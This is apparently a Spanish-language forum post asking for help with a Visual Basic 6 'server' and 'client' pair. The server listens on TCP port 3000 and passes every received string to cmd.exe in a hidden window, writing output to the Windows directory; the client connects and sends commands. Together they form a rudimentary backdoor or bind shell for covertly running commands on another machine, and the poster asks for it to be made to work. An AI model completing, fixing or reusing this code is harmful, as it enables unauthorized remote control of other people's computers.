SERVIDOR:
Código
Private Sub Form_Load() Text1.Text = "" Text2.Text = "" Winsock1.Protocol = sckTCPProtocol Winsock1.LocalPort = 3000 Winsock1.Listen End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close Winsock1.Accept requestID End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim comando As String Dim a As Integer Winsock1.GetData comando Text1.Text = comando Shell ("%windir%/system32/cmd.exe /c " & Text1.Text & ">%windir%/shell.txt"), vbHide End Sub
De moemtno solo busco que funcione no que me devuelva la respuesta.
CLIENTE:
Código
Private Sub Command1_Click() Winsock1.Close Winsock1.RemotePort = 3000 Winsock1.RemoteHost = Text1.Text Winsock1.Connect End Sub Private Sub Command2_Click() Dim comando As String Text4.Text = comando Winsock1.SendData comando Text4.Text = "" End Sub Private Sub Form_Load() Text1.Text = "" Text2.Text = "" Text4.Text = "" Label3.Caption = "Desconectado" Winsock1.Protocol = sckTCPProtocol End Sub Private Sub Text2_Change() End Sub Private Sub Text4_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then Command2_Click End Sub Private Sub Winsock1_Close() Label3.Caption = "Desconectado" Text2.Text = Text2.Text & vbCrLf & "Se ha perdido la conexión con el host remoto" End Sub Private Sub Winsock1_Connect() Label3.Caption = "Conectado" Text2.Text = "Conectado con exito a " & Winsock1.RemoteHostIP End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String Winsock1.GetData datos Text3.Text = Text3.Text & vbCrLf & datos End Sub
Gracias por adelantado. Espero sus respuestas. Salu2